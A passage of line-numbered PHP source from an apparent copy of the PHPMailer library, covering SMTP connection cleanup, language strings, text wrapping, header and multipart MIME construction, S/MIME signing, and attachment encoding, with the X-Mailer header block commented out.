  781.                             throw new phpmailerException($this->lang('connect_host'));
  782.                         }
  783.                         // We must resend HELO after tls negotiation
  784.                         $this->smtp->hello($hello);
  785.                     }
  786.                     if ($this->SMTPAuth) {
  787.                         if (!$this->smtp->authenticate(
  788.                             $this->Username,
  789.                             $this->Password,
  790.                             $this->AuthType,
  791.                             $this->Realm,
  792.                             $this->Workstation
  793.                         )
  794.                         ) {
  795.                             throw new phpmailerException($this->lang('authenticate'));
  796.                         }
  797.                     }
  798.                     return true;
  799.                 } catch (phpmailerException $exc) {
  800.                     $lastexception = $exc;
  801.                     $this->edebug($exc->getMessage());
  802.                     // We must have connected, but then failed TLS or Auth, so close connection nicely
  803.                     $this->smtp->quit();
  804.                 }
  805.             }
  806.         }
  807.         // If we get here, all connection attempts have failed, so close connection hard
  808.         $this->smtp->close();
  809.         // As we've caught all exceptions, just report whatever the last one was
  810.         if ($this->exceptions and !is_null($lastexception)) {
  811.             throw $lastexception;
  812.         }
  813.         return false;
  814.     }
  815.     public function smtpClose()
  816.     {
  817.         if (is_a($this->smtp, 'SMTP')) {
  818.             if ($this->smtp->connected()) {
  819.                 $this->smtp->quit();
  820.                 $this->smtp->close();
  821.             }
  822.         }
  823.     }
  824.     public function setLanguage($langcode = 'en', $lang_path = '')
  825.     {
  826.         // Define full set of translatable strings in English
  827.         $PHPMAILER_LANG = array(
  828.             'authenticate' => 'SMTP Error: Could not authenticate.',
  829.             'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  830.             'data_not_accepted' => 'SMTP Error: data not accepted.',
  831.             'empty_message' => 'Message body empty',
  832.             'encoding' => 'Unknown encoding: ',
  833.             'execute' => 'Could not execute: ',
  834.             'file_access' => 'Could not access file: ',
  835.             'file_open' => 'File Error: Could not open file: ',
  836.             'from_failed' => 'The following From address failed: ',
  837.             'instantiate' => 'Could not instantiate mail function.',
  838.             'invalid_address' => 'Invalid address: ',
  839.             'mailer_not_supported' => ' mailer is not supported.',
  840.             'provide_address' => 'You must provide at least one recipient email address.',
  841.             'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  842.             'signing' => 'Signing Error: ',
  843.             'smtp_connect_failed' => 'SMTP connect() failed.',
  844.             'smtp_error' => 'SMTP server error: ',
  845.             'variable_set' => 'Cannot set or reset variable: ',
  846.             'extension_missing' => 'Extension missing: '
  847.         );
  848.         if (empty($lang_path)) {
  849.             // Calculate an absolute path so it can work if CWD is not here
  850.             $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  851.         }
  852.         $foundlang = true;
  853.         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  854.         // There is no English translation file
  855.         if ($langcode != 'en') {
  856.             // Make sure language file path is readable
  857.             if (!is_readable($lang_file)) {
  858.                 $foundlang = false;
  859.             } else {
  860.                 // Overwrite language-specific strings.
  861.                 // This way we'll never have missing translation keys.
  862.                 $foundlang = include $lang_file;
  863.             }
  864.         }
  865.         $this->language = $PHPMAILER_LANG;
  866.         return (boolean)$foundlang; // Returns false if language not found
  867.     }
  868.     public function getTranslations()
  869.     {
  870.         return $this->language;
  871.     }
  872.     public function addrAppend($type, $addr)
  873.     {
  874.         $addresses = array();
  875.         foreach ($addr as $address) {
  876.             $addresses[] = $this->addrFormat($address);
  877.         }
  878.         return $type . ': ' . implode(', ', $addresses) . $this->LE;
  879.     }
  880.     public function addrFormat($addr)
  881.     {
  882.         if (empty($addr[1])) { // No name provided
  883.             return $this->secureHeader($addr[0]);
  884.         } else {
  885.             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  886.                 $addr[0]
  887.             ) . '>';
  888.         }
  889.     }
  890.     public function wrapText($message, $length, $qp_mode = false)
  891.     {
  892.         if ($qp_mode) {
  893.             $soft_break = sprintf(' =%s', $this->LE);
  894.         } else {
  895.             $soft_break = $this->LE;
  896.         }
  897.         // If utf-8 encoding is used, we will need to make sure we don't
  898.         // split multibyte characters when we wrap
  899.         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  900.         $lelen = strlen($this->LE);
  901.         $crlflen = strlen(self::CRLF);
  902.         $message = $this->fixEOL($message);
  903.         //Remove a trailing line break
  904.         if (substr($message, -$lelen) == $this->LE) {
  905.             $message = substr($message, 0, -$lelen);
  906.         }
  907.         //Split message into lines
  908.         $lines = explode($this->LE, $message);
  909.         //Message will be rebuilt in here
  910.         $message = '';
  911.         foreach ($lines as $line) {
  912.             $words = explode(' ', $line);
  913.             $buf = '';
  914.             $firstword = true;
  915.             foreach ($words as $word) {
  916.                 if ($qp_mode and (strlen($word) > $length)) {
  917.                     $space_left = $length - strlen($buf) - $crlflen;
  918.                     if (!$firstword) {
  919.                         if ($space_left > 20) {
  920.                             $len = $space_left;
  921.                             if ($is_utf8) {
  922.                                 $len = $this->utf8CharBoundary($word, $len);
  923.                             } elseif (substr($word, $len - 1, 1) == '=') {
  924.                                 $len--;
  925.                             } elseif (substr($word, $len - 2, 1) == '=') {
  926.                                 $len -= 2;
  927.                             }
  928.                             $part = substr($word, 0, $len);
  929.                             $word = substr($word, $len);
  930.                             $buf .= ' ' . $part;
  931.                             $message .= $buf . sprintf('=%s', self::CRLF);
  932.                         } else {
  933.                             $message .= $buf . $soft_break;
  934.                         }
  935.                         $buf = '';
  936.                     }
  937.                     while (strlen($word) > 0) {
  938.                         if ($length <= 0) {
  939.                             break;
  940.                         }
  941.                         $len = $length;
  942.                         if ($is_utf8) {
  943.                             $len = $this->utf8CharBoundary($word, $len);
  944.                         } elseif (substr($word, $len - 1, 1) == '=') {
  945.                             $len--;
  946.                         } elseif (substr($word, $len - 2, 1) == '=') {
  947.                             $len -= 2;
  948.                         }
  949.                         $part = substr($word, 0, $len);
  950.                         $word = substr($word, $len);
  951.                         if (strlen($word) > 0) {
  952.                             $message .= $part . sprintf('=%s', self::CRLF);
  953.                         } else {
  954.                             $buf = $part;
  955.                         }
  956.                     }
  957.                 } else {
  958.                     $buf_o = $buf;
  959.                     if (!$firstword) {
  960.                         $buf .= ' ';
  961.                     }
  962.                     $buf .= $word;
  963.                     if (strlen($buf) > $length and $buf_o != '') {
  964.                         $message .= $buf_o . $soft_break;
  965.                         $buf = $word;
  966.                     }
  967.                 }
  968.                 $firstword = false;
  969.             }
  970.             $message .= $buf . self::CRLF;
  971.         }
  972.         return $message;
  973.     }
  974.     public function utf8CharBoundary($encodedText, $maxLength)
  975.     {
  976.         $foundSplitPos = false;
  977.         $lookBack = 3;
  978.         while (!$foundSplitPos) {
  979.             $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  980.             $encodedCharPos = strpos($lastChunk, '=');
  981.             if (false !== $encodedCharPos) {
  982.                 // Found start of encoded character byte within $lookBack block.
  983.                 // Check the encoded byte value (the 2 chars after the '=')
  984.                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  985.                 $dec = hexdec($hex);
  986.                 if ($dec < 128) {
  987.                     // Single byte character.
  988.                     // If the encoded char was found at pos 0, it will fit
  989.                     // otherwise reduce maxLength to start of the encoded char
  990.                     if ($encodedCharPos > 0) {
  991.                         $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  992.                     }
  993.                     $foundSplitPos = true;
  994.                 } elseif ($dec >= 192) {
  995.                     // First byte of a multi byte character
  996.                     // Reduce maxLength to split at start of character
  997.                     $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  998.                     $foundSplitPos = true;
  999.                 } elseif ($dec < 192) {
  1000.                     // Middle byte of a multi byte character, look further back
  1001.                     $lookBack += 3;
  1002.                 }
  1003.             } else {
  1004.                 // No encoded character found
  1005.                 $foundSplitPos = true;
  1006.             }
  1007.         }
  1008.         return $maxLength;
  1009.     }
  1010.     public function setWordWrap()
  1011.     {
  1012.         if ($this->WordWrap < 1) {
  1013.             return;
  1014.         }
  1015.         switch ($this->message_type) {
  1016.             case 'alt':
  1017.             case 'alt_inline':
  1018.             case 'alt_attach':
  1019.             case 'alt_inline_attach':
  1020.                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1021.                 break;
  1022.             default:
  1023.                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1024.                 break;
  1025.         }
  1026.     }
  1027.     public function createHeader()
  1028.     {
  1029.         $result = '';
  1030.         if ($this->MessageDate == '') {
  1031.             $this->MessageDate = self::rfcDate();
  1032.         }
  1033.         $result .= $this->headerLine('Date', $this->MessageDate);
  1034.         // To be created automatically by mail()
  1035.         if ($this->SingleTo) {
  1036.             if ($this->Mailer != 'mail') {
  1037.                 foreach ($this->to as $toaddr) {
  1038.                     $this->SingleToArray[] = $this->addrFormat($toaddr);
  1039.                 }
  1040.             }
  1041.         } else {
  1042.             if (count($this->to) > 0) {
  1043.                 if ($this->Mailer != 'mail') {
  1044.                     $result .= $this->addrAppend('To', $this->to);
  1045.                 }
  1046.             } elseif (count($this->cc) == 0) {
  1047.                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  1048.             }
  1049.         }
  1050.         $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  1051.         // sendmail and mail() extract Cc from the header before sending
  1052.         if (count($this->cc) > 0) {
  1053.             $result .= $this->addrAppend('Cc', $this->cc);
  1054.         }
  1055.         // sendmail and mail() extract Bcc from the header before sending
  1056.         if ((
  1057.                 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  1058.             )
  1059.             and count($this->bcc) > 0
  1060.         ) {
  1061.             $result .= $this->addrAppend('Bcc', $this->bcc);
  1062.         }
  1063.         if (count($this->ReplyTo) > 0) {
  1064.             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  1065.         }
  1066.         // mail() sets the subject itself
  1067.         if ($this->Mailer != 'mail') {
  1068.             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1069.         }
  1070.         if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
  1071.             $this->lastMessageID = $this->MessageID;
  1072.         } else {
  1073.             $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  1074.         }
  1075.         $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  1076.         if (!is_null($this->Priority)) {
  1077.             $result .= $this->headerLine('X-Priority', $this->Priority);
  1078.         }
  1079.         // if ($this->XMailer == '') {
  1080.             // $result .= $this->headerLine(
  1081.                 // 'X-Mailer',
  1082.                 // 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
  1083.             // );
  1084.         // } else {
  1085.             // $myXmailer = trim($this->XMailer);
  1086.             // if ($myXmailer) {
  1087.                 // $result .= $this->headerLine('X-Mailer', $myXmailer);
  1088.             // }
  1089.         // }
  1090.         if ($this->ConfirmReadingTo != '') {
  1091.             $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  1092.         }
  1093.         // Add custom headers
  1094.         foreach ($this->CustomHeader as $header) {
  1095.             $result .= $this->headerLine(
  1096.                 trim($header[0]),
  1097.                 $this->encodeHeader(trim($header[1]))
  1098.             );
  1099.         }
  1100.         if (!$this->sign_key_file) {
  1101.             $result .= $this->headerLine('MIME-Version', '1.0');
  1102.             $result .= $this->getMailMIME();
  1103.         }
  1104.         return $result;
  1105.     }
  1106.     public function getMailMIME()
  1107.     {
  1108.         $result = '';
  1109.         $ismultipart = true;
  1110.         switch ($this->message_type) {
  1111.             case 'inline':
  1112.                 $result .= $this->headerLine('Content-Type', 'multipart/related;');
  1113.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1114.                 break;
  1115.             case 'attach':
  1116.             case 'inline_attach':
  1117.             case 'alt_attach':
  1118.             case 'alt_inline_attach':
  1119.                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  1120.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1121.                 break;
  1122.             case 'alt':
  1123.             case 'alt_inline':
  1124.                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1125.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1126.                 break;
  1127.             default:
  1128.                 // Catches case 'plain': and case '':
  1129.                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1130.                 $ismultipart = false;
  1131.                 break;
  1132.         }
  1133.         // RFC1341 part 5 says 7bit is assumed if not specified
  1134.         if ($this->Encoding != '7bit') {
  1135.             // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  1136.             if ($ismultipart) {
  1137.                 if ($this->Encoding == '8bit') {
  1138.                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1139.                 }
  1140.                 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  1141.             } else {
  1142.                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1143.             }
  1144.         }
  1145.         if ($this->Mailer != 'mail') {
  1146.             $result .= $this->LE;
  1147.         }
  1148.         return $result;
  1149.     }
  1150.     public function getSentMIMEMessage()
  1151.     {
  1152.         return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
  1153.     }
  1154.     public function createBody()
  1155.     {
  1156.         $body = '';
  1157.         //Create unique IDs and preset boundaries
  1158.         $this->uniqueid = md5(uniqid(time()));
  1159.         $this->boundary[1] = 'b1_' . $this->uniqueid;
  1160.         $this->boundary[2] = 'b2_' . $this->uniqueid;
  1161.         $this->boundary[3] = 'b3_' . $this->uniqueid;
  1162.         if ($this->sign_key_file) {
  1163.             $body .= $this->getMailMIME() . $this->LE;
  1164.         }
  1165.         $this->setWordWrap();
  1166.         $bodyEncoding = $this->Encoding;
  1167.         $bodyCharSet = $this->CharSet;
  1168.         //Can we do a 7-bit downgrade?
  1169.         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  1170.             $bodyEncoding = '7bit';
  1171.             $bodyCharSet = 'us-ascii';
  1172.         }
  1173.         //If lines are too long, and we're not already using an encoding that will shorten them,
  1174.         //change to quoted-printable transfer encoding
  1175.         if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  1176.             $this->Encoding = 'quoted-printable';
  1177.             $bodyEncoding = 'quoted-printable';
  1178.         }
  1179.         $altBodyEncoding = $this->Encoding;
  1180.         $altBodyCharSet = $this->CharSet;
  1181.         //Can we do a 7-bit downgrade?
  1182.         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1183.             $altBodyEncoding = '7bit';
  1184.             $altBodyCharSet = 'us-ascii';
  1185.         }
  1186.         //If lines are too long, and we're not already using an encoding that will shorten them,
  1187.         //change to quoted-printable transfer encoding
  1188.         if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  1189.             $altBodyEncoding = 'quoted-printable';
  1190.         }
  1191.         //Use this as a preamble in all multipart message types
  1192.         $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  1193.         switch ($this->message_type) {
  1194.             case 'inline':
  1195.                 $body .= $mimepre;
  1196.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1197.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1198.                 $body .= $this->LE . $this->LE;
  1199.                 $body .= $this->attachAll('inline', $this->boundary[1]);
  1200.                 break;
  1201.             case 'attach':
  1202.                 $body .= $mimepre;
  1203.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1204.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1205.                 $body .= $this->LE . $this->LE;
  1206.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1207.                 break;
  1208.             case 'inline_attach':
  1209.                 $body .= $mimepre;
  1210.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1211.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1212.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1213.                 $body .= $this->LE;
  1214.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1215.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1216.                 $body .= $this->LE . $this->LE;
  1217.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1218.                 $body .= $this->LE;
  1219.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1220.                 break;
  1221.             case 'alt':
  1222.                 $body .= $mimepre;
  1223.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1224.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1225.                 $body .= $this->LE . $this->LE;
  1226.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1227.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1228.                 $body .= $this->LE . $this->LE;
  1229.                 if (!empty($this->Ical)) {
  1230.                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1231.                     $body .= $this->encodeString($this->Ical, $this->Encoding);
  1232.                     $body .= $this->LE . $this->LE;
  1233.                 }
  1234.                 $body .= $this->endBoundary($this->boundary[1]);
  1235.                 break;
  1236.             case 'alt_inline':
  1237.                 $body .= $mimepre;
  1238.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1239.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1240.                 $body .= $this->LE . $this->LE;
  1241.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1242.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1243.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1244.                 $body .= $this->LE;
  1245.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1246.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1247.                 $body .= $this->LE . $this->LE;
  1248.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  1249.                 $body .= $this->LE;
  1250.                 $body .= $this->endBoundary($this->boundary[1]);
  1251.                 break;
  1252.             case 'alt_attach':
  1253.                 $body .= $mimepre;
  1254.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1255.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1256.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1257.                 $body .= $this->LE;
  1258.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1259.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1260.                 $body .= $this->LE . $this->LE;
  1261.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1262.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1263.                 $body .= $this->LE . $this->LE;
  1264.                 $body .= $this->endBoundary($this->boundary[2]);
  1265.                 $body .= $this->LE;
  1266.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1267.                 break;
  1268.             case 'alt_inline_attach':
  1269.                 $body .= $mimepre;
  1270.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1271.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1272.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1273.                 $body .= $this->LE;
  1274.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1275.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1276.                 $body .= $this->LE . $this->LE;
  1277.                 $body .= $this->textLine('--' . $this->boundary[2]);
  1278.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1279.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  1280.                 $body .= $this->LE;
  1281.                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  1282.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1283.                 $body .= $this->LE . $this->LE;
  1284.                 $body .= $this->attachAll('inline', $this->boundary[3]);
  1285.                 $body .= $this->LE;
  1286.                 $body .= $this->endBoundary($this->boundary[2]);
  1287.                 $body .= $this->LE;
  1288.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1289.                 break;
  1290.             default:
  1291.                 // catch case 'plain' and case ''
  1292.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1293.                 break;
  1294.         }
  1295.         if ($this->isError()) {
  1296.             $body = '';
  1297.         } elseif ($this->sign_key_file) {
  1298.             try {
  1299.                 if (!defined('PKCS7_TEXT')) {
  1300.                     throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  1301.                 }
  1302.                 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  1303.                 $file = tempnam(sys_get_temp_dir(), 'mail');
  1304.                 if (false === file_put_contents($file, $body)) {
  1305.                     throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  1306.                 }
  1307.                 $signed = tempnam(sys_get_temp_dir(), 'signed');
  1308.                 //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  1309.                 if (empty($this->sign_extracerts_file)) {
  1310.                     $sign = @openssl_pkcs7_sign(
  1311.                         $file,
  1312.                         $signed,
  1313.                         'file://' . realpath($this->sign_cert_file),
  1314.                         array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  1315.                         null
  1316.                     );
  1317.                 } else {
  1318.                     $sign = @openssl_pkcs7_sign(
  1319.                         $file,
  1320.                         $signed,
  1321.                         'file://' . realpath($this->sign_cert_file),
  1322.                         array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  1323.                         null,
  1324.                         PKCS7_DETACHED,
  1325.                         $this->sign_extracerts_file
  1326.                     );
  1327.                 }
  1328.                 if ($sign) {
  1329.                     @unlink($file);
  1330.                     $body = file_get_contents($signed);
  1331.                     @unlink($signed);
  1332.                     //The message returned by openssl contains both headers and body, so need to split them up
  1333.                     $parts = explode("\n\n", $body, 2);
  1334.                     $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  1335.                     $body = $parts[1];
  1336.                 } else {
  1337.                     @unlink($file);
  1338.                     @unlink($signed);
  1339.                     throw new phpmailerException($this->lang('signing') . openssl_error_string());
  1340.                 }
  1341.             } catch (phpmailerException $exc) {
  1342.                 $body = '';
  1343.                 if ($this->exceptions) {
  1344.                     throw $exc;
  1345.                 }
  1346.             }
  1347.         }
  1348.         return $body;
  1349.     }
  1350.     protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  1351.     {
  1352.         $result = '';
  1353.         if ($charSet == '') {
  1354.             $charSet = $this->CharSet;
  1355.         }
  1356.         if ($contentType == '') {
  1357.             $contentType = $this->ContentType;
  1358.         }
  1359.         if ($encoding == '') {
  1360.             $encoding = $this->Encoding;
  1361.         }
  1362.         $result .= $this->textLine('--' . $boundary);
  1363.         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  1364.         $result .= $this->LE;
  1365.         // RFC1341 part 5 says 7bit is assumed if not specified
  1366.         if ($encoding != '7bit') {
  1367.             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  1368.         }
  1369.         $result .= $this->LE;
  1370.         return $result;
  1371.     }
  1372.     protected function endBoundary($boundary)
  1373.     {
  1374.         return $this->LE . '--' . $boundary . '--' . $this->LE;
  1375.     }
  1376.     protected function setMessageType()
  1377.     {
  1378.         $type = array();
  1379.         if ($this->alternativeExists()) {
  1380.             $type[] = 'alt';
  1381.         }
  1382.         if ($this->inlineImageExists()) {
  1383.             $type[] = 'inline';
  1384.         }
  1385.         if ($this->attachmentExists()) {
  1386.             $type[] = 'attach';
  1387.         }
  1388.         $this->message_type = implode('_', $type);
  1389.         if ($this->message_type == '') {
  1390.             $this->message_type = 'plain';
  1391.         }
  1392.     }
  1393.     public function headerLine($name, $value)
  1394.     {
  1395.         return $name . ': ' . $value . $this->LE;
  1396.     }
  1397.     public function textLine($value)
  1398.     {
  1399.         return $value . $this->LE;
  1400.     }
  1401.     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  1402.     {
  1403.         try {
  1404.             if (!@is_file($path)) {
  1405.                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  1406.             }
  1407.             // If a MIME type is not specified, try to work it out from the file name
  1408.             if ($type == '') {
  1409.                 $type = self::filenameToType($path);
  1410.             }
  1411.             $filename = basename($path);
  1412.             if ($name == '') {
  1413.                 $name = $filename;
  1414.             }
  1415.             $this->attachment[] = array(
  1416.                 0 => $path,
  1417.                 1 => $filename,
  1418.                 2 => $name,
  1419.                 3 => $encoding,
  1420.                 4 => $type,
  1421.                 5 => false, // isStringAttachment
  1422.                 6 => $disposition,
  1423.                 7 => 0
  1424.             );
  1425.         } catch (phpmailerException $exc) {
  1426.             $this->setError($exc->getMessage());
  1427.             $this->edebug($exc->getMessage());
  1428.             if ($this->exceptions) {
  1429.                 throw $exc;
  1430.             }
  1431.             return false;
  1432.         }
  1433.         return true;
  1434.     }
  1435.     public function getAttachments()
  1436.     {
  1437.         return $this->attachment;
  1438.     }
  1439.     protected function attachAll($disposition_type, $boundary)
  1440.     {
  1441.         // Return text of body
  1442.         $mime = array();
  1443.         $cidUniq = array();
  1444.         $incl = array();
  1445.         // Add all attachments
  1446.         foreach ($this->attachment as $attachment) {
  1447.             // Check if it is a valid disposition_filter
  1448.             if ($attachment[6] == $disposition_type) {
  1449.                 // Check for string attachment
  1450.                 $string = '';
  1451.                 $path = '';
  1452.                 $bString = $attachment[5];
  1453.                 if ($bString) {
  1454.                     $string = $attachment[0];
  1455.                 } else {
  1456.                     $path = $attachment[0];
  1457.                 }
  1458.                 $inclhash = md5(serialize($attachment));
  1459.                 if (in_array($inclhash, $incl)) {
  1460.                     continue;
  1461.                 }
  1462.                 $incl[] = $inclhash;
  1463.                 $name = $attachment[2];
  1464.                 $encoding = $attachment[3];
  1465.                 $type = $attachment[4];
  1466.                 $disposition = $attachment[6];
  1467.                 $cid = $attachment[7];
  1468.                 if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  1469.                     continue;
  1470.                 }
  1471.                 $cidUniq[$cid] = true;
  1472.                 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  1473.                 //Only include a filename property if we have one
  1474.                 if (!empty($name)) {
  1475.                     $mime[] = sprintf(
  1476.                         'Content-Type: %s; name="%s"%s',
  1477.                         $type,
  1478.                         $this->encodeHeader($this->secureHeader($name)),
  1479.                         $this->LE
  1480.                     );
  1481.                 } else {
  1482.                     $mime[] = sprintf(
  1483.                         'Content-Type: %s%s',
  1484.                         $type,
  1485.                         $this->LE
  1486.                     );
  1487.                 }
  1488.                 // RFC1341 part 5 says 7bit is assumed if not specified
  1489.                 if ($encoding != '7bit') {
  1490.                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  1491.                 }
  1492.                 if ($disposition == 'inline') {
  1493.                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  1494.                 }
  1495.                 // If a filename contains any of these chars, it should be quoted,
  1496.                 // but not otherwise: RFC2183 & RFC2045 5.1
  1497.                 // Fixes a warning in IETF's msglint MIME checker
  1498.                 // Allow for bypassing the Content-Disposition header totally
  1499.                 if (!(empty($disposition))) {
  1500.                     $encoded_name = $this->encodeHeader($this->secureHeader($name));
  1501.                     if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  1502.                         $mime[] = sprintf(
  1503.                             'Content-Disposition: %s; filename="%s"%s',
  1504.                             $disposition,
  1505.                             $encoded_name,
  1506.                             $this->LE . $this->LE
  1507.                         );
  1508.                     } else {
  1509.                         if (!empty($encoded_name)) {
  1510.                             $mime[] = sprintf(
  1511.                                 'Content-Disposition: %s; filename=%s%s',
  1512.                                 $disposition,
  1513.                                 $encoded_name,
  1514.                                 $this->LE . $this->LE
  1515.                             );
  1516.                         } else {
  1517.                             $mime[] = sprintf(
  1518.                                 'Content-Disposition: %s%s',
  1519.                                 $disposition,
  1520.                                 $this->LE . $this->LE
  1521.                             );
  1522.                         }
  1523.                     }
  1524.                 } else {
  1525.                     $mime[] = $this->LE;
  1526.                 }
  1527.                 // Encode as string attachment
  1528.                 if ($bString) {
  1529.                     $mime[] = $this->encodeString($string, $encoding);
  1530.                     if ($this->isError()) {
  1531.                         return '';
  1532.                     }
  1533.                     $mime[] = $this->LE . $this->LE;
  1534.                 } else {
  1535.                     $mime[] = $this->encodeFile($path, $encoding);
  1536.                     if ($this->isError()) {
  1537.                         return '';
  1538.                     }
  1539.                     $mime[] = $this->LE . $this->LE;
  1540.                 }
  1541.             }
  1542.         }
  1543.         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  1544.         return implode('', $mime);
  1545.     }
  1546.     protected function encodeFile($path, $encoding = 'base64')
  1547.     {
  1548.         try {
  1549.             if (!is_readable($path)) {
  1550.                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  1551.             }
  1552.             $magic_quotes = get_magic_quotes_runtime();
  1553.             if ($magic_quotes) {
  1554.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1555.                     set_magic_quotes_runtime(false);
  1556.                 } else {
  1557.                     //Doesn't exist in PHP 5.4, but we don't need to check because
  1558.                     //get_magic_quotes_runtime always returns false in 5.4+
  1559.                     //so it will never get here
  1560.                     ini_set('magic_quotes_runtime', false);
  1561.                 }
  1562.             }
  1563.             $file_buffer = file_get_contents($path);
